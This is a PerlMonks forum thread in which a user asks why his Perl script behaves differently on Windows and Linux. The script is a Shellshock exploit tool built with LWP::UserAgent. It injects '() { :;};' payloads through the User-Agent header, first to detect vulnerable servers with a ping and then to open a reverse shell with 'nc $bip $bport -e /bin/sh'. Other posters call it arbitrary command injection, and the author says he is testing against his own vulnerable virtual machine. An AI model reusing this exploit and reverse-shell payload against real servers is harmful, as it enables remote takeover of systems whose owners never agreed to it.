in reply to Raw HTTP Request / Response

Ghosty:

You're not showing any code, so I can't offer any suggestions. However, looking at the results you're offering: Why would you expect to see the results of a command-line ping in a raw HTTP Request/Response transaction? I'd only expect to see something like that if (a) the server was vulnerable, and (b) the payload was an evil ping command.

...roboticus

When your only tool is a hammer, all problems look like your thumb.

Replies are listed 'Best First'.
Re^2: Raw HTTP Request / Response
by Ghosty (Novice) on Aug 24, 2018 at 11:11 UTC 
    $ua = new LWP::UserAgent;
$ua->agent("$Inject; nc $bip $bport -e /bin/sh'");
$request = HTTP::Request->new('GET');
$request->url($url);
$response = $ua->request($request);
$code = $response->code;
$headers = $response->headers_as_string;
$body =  $response->content;

    [download]

    I found that code which works fine on windows and the problem is on Unix it doesn't follow the =~ thingy Ok here: 

    sub PingInject{
$url = "$target";
$ua = new LWP::UserAgent;
$ua->agent("() { :;}; /bin/bash -c 'ping -c 3 8.8.8.8'");
$ua->timeout(15);
$request = HTTP::Request->new('GET');
$request->url($url);
$response = $ua->request($request);
$code = $response->code;
$headers = $response->headers_as_string;
$body =  $response->content;
if($body =~ /--- 8.8.8.8 ping statistics ---/){
  print "[+] Shellshock Ping Injection was injected successfully! (Vul
+nerable!) \n";
  $injectionFound = "yes";
  $InjectPoint = "() { :;}; /bin/bash -c 'ping -c 3 8.8.8.8'";
  $Inject = "() { :;}; /bin/bash -c 'ping -c 3 8.8.8.8";
  InjCorrect();
} else {
  print "[-] Shellshock Ping Injection was not injected successfully! 
+(Not Vulnerable!) \n";
}
}

    [download]

    At the part where it says "=~ /--- 8.8.8.8 ping statistics ---/" on windows it does follow that statement but not on linux it just says the else statement... So any ideas on how to fix that?

[reply]
[d/l]
[select]
      So any ideas on how to fix that?

      You don't "fix" that - it's an arbitrary command injection which your Linux installation correctly prohibits.

[reply]

        Well i feel the most stupid guy in the world, my script works on linux and windows... on linux the problem is that i wasn't on the right WiFi.... So i couldn't reach up my virtualbox which was vulnerable to Shellshock for developing my tool... Now i'm on the correct WiFi and discovered a new injection with linux ...

        Sorry for wasting your time.. :( So conclusion it works on both but i wasn't on the correct wifi to reach my virtualbox machine...

[reply]

        Well is there a way linux can execute and get the same results as windows?

[reply]

In Section Seekers of Perl Wisdom